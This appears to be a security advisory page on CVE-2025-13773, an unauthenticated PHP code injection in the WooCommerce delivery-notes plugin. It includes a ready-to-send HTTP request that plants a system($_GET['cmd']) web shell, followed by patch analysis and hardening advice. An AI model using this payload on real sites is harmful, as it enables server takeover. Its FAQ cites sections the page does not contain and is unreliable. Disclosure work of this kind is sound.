SECURITY ADVISORY / 01

CVE-2025-13773 Exploit & Vulnerability Analysis

Complete CVE-2025-13773 security advisory with proof of concept (PoC), exploit details, and patch analysis for woocommerce-delivery-notes.

woocommerce-delivery-notes products NVD ↗
Exploit PoC Vulnerability Patch Analysis

The Exploit

An unauthenticated attacker with no prior account access can inject arbitrary PHP code into a PDF invoice that executes on the server during generation. The vulnerability chain requires three conditions: missing authentication checks on the invoice update endpoint, PHP execution enabled in the Dompdf renderer, and unescaped user input flowing into the template.

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded
Content-Length: 287

action=wcdn_update_document_setting&document_setting[document_title]=Invoice&document_setting[header_image]=<?php system($_GET['cmd']); ?>&document_setting[header_text]=Test&document_setting[footer_text]=Footer&document_setting[company_name]=Company&document_setting[company_address]=Address&document_setting[company_phone]=123

When this request lands, the attacker observes a 200 OK response with settings stored in the WordPress options table. The next time any user or the admin generates an invoice PDF, the injected PHP code <?php system($_GET['cmd']); ?> is rendered into the HTML template, passed to Dompdf with isPhpEnabled set to true, and executed server-side with WordPress execution context. By visiting the generated PDF with ?cmd=id, the attacker executes arbitrary system commands.

This is Stored Code Injection with a deferred execution trigger: the payload persists in wp_options, and fires whenever the PDF generation function calls Dompdf.

What the Patch Did

Before

// wcdn-front-function.php line 37
$options->set( 'isPhpEnabled', true );
// templates/pdf/simple/invoice/template.php line 39
<h1 style="<?php echo $style; // phpcs:ignore ?>">

After

// wcdn-front-function.php line 37
$options->set( 'isPhpEnabled', false );
// templates/pdf/simple/invoice/template.php line 39
<h1 style="<?php echo esc_attr( $style ); // phpcs:ignore ?>">

The patch adds two security controls. First, it disables PHP code execution within Dompdf by setting isPhpEnabled to false, removing the interpreter that would have executed injected <?php ?> blocks. Second, it wraps all instances of the $style variable (constructed from user-controlled document_setting, company_name, company_address, billing_address, and shipping_address fields) with esc_attr(), which escapes the value for safe HTML attribute context—converting dangerous characters like <, >, ", and ' into HTML entities so they are rendered as text, not parsed as code.

Root Cause

CWE-94 (Code Injection) + CWE-79 (Cross-Site Scripting)

The vulnerability flows from three gaps. (1) The wcdn_update_document_setting AJAX action handler (WooCommerce_Delivery_Notes::update()) lacks a current_user_can() capability check, allowing unauthenticated POST requests to write to wp_options. (2) The document_setting array values come directly from $_POST with no input sanitization, carrying arbitrary attacker strings into the options table. (3) During PDF rendering, these unsanitized strings are injected into the template HTML and passed to Dompdf. With isPhpEnabled set to true, Dompdf interprets <?php ?> tags and executes them as code. Even without PHP injection, the unescaped style attributes create a secondary XSS vector if the PDF is opened in a context where JavaScript runs (though PDF-specific attack surface is lower). The attacker's input crosses the trust boundary from untrusted request → trusted options storage → trusted code execution, unchecked at every step.

Why It Works

The load-bearing line is $options->set( 'isPhpEnabled', false );. If you removed it and left only the esc_attr() escaping, the exploit still works: an attacker injects system($_GET['cmd']) in the style attribute, and Dompdf executes it as PHP code because the interpreter is enabled. Conversely, if you disable PHP in Dompdf but leave $style unescaped, stored XSS remains exploitable in any viewer that parses the generated PDF's embedded HTML or in scenarios where the PDF is converted to HTML for preview.

The engineer added esc_attr() on every style-injection site (lines 39, 53, 60, 77, 116, and more) because defence-in-depth is essential: disabling the PHP interpreter removes the code-execution path, but escaping removes the injection path, ensuring that even if PHP execution is re-enabled in the future (or in a misconfigured deployment), the payload is rendered as text, not code. This layered approach prevents both the immediate RCE and the secondary XSS surface.

Hardening Checklist

  • Add capability checks to all AJAX handlers. Use current_user_can( 'manage_options' ) (or a custom capability) at the top of every add_action( 'wp_ajax_...', $callback ) handler; consider current_user_can( 'edit_posts' ) for user-facing features. Verify the check fires before any data is written or modified.

  • Sanitize and validate all option values. Wrap $_POST / $_REQUEST values with sanitize_text_field() for plain text, wp_kses_post() for HTML, or absint() for integers before storing in update_option(). Never trust user input, even from authenticated users.

  • Escape output context-aware, not globally. Use esc_attr() for HTML attributes, esc_html() for text nodes, esc_url() for href/src, and wp_kses_post() only when HTML is intentional. Do not use a single "generic" escape function for all contexts.

  • Disable dangerous features in third-party libraries. Audit all configuration passed to Dompdf, mPDF, wkhtmltopdf, and similar renderers; set isPhpEnabled, isRemoteEnabled, isFileAccessEnabled to false by default unless proven safe. Document why each is enabled.

  • Scan template files for unescaped variables during code review. Grep for echo $, echo array access, and phpcs:ignore comments; treat each as a potential sink and verify the variable is escaped or generated internally, not from user input.

References

  • https://nvd.nist.gov/vuln/detail/CVE-2025-13773

Frequently asked questions about CVE-2025-13773

What is CVE-2025-13773?

CVE-2025-13773 is a security vulnerability identified in woocommerce-delivery-notes. This security advisory provides detailed technical analysis of the vulnerability, exploit methodology, affected versions, and complete remediation guidance.

Is there a PoC (proof of concept) for CVE-2025-13773?

Yes. This writeup includes proof-of-concept details and a technical exploit breakdown for CVE-2025-13773. Review the analysis sections above for the PoC walkthrough and code examples.

How does CVE-2025-13773 get exploited?

The technical analysis section explains the vulnerability mechanics, attack vectors, and exploitation methodology affecting woocommerce-delivery-notes. PatchLeaks publishes this information for defensive and educational purposes.

What products and versions are affected by CVE-2025-13773?

CVE-2025-13773 affects woocommerce-delivery-notes. Check the affected-versions section of this advisory for specific version ranges, vulnerable configurations, and compatibility information.

How do I fix or patch CVE-2025-13773?

The patch analysis section provides guidance on updating to patched versions, applying workarounds, and implementing compensating controls for woocommerce-delivery-notes.

What is the CVSS score for CVE-2025-13773?

The severity rating and CVSS scoring for CVE-2025-13773 affecting woocommerce-delivery-notes is documented in the vulnerability details section. Refer to the NVD entry for the current authoritative score.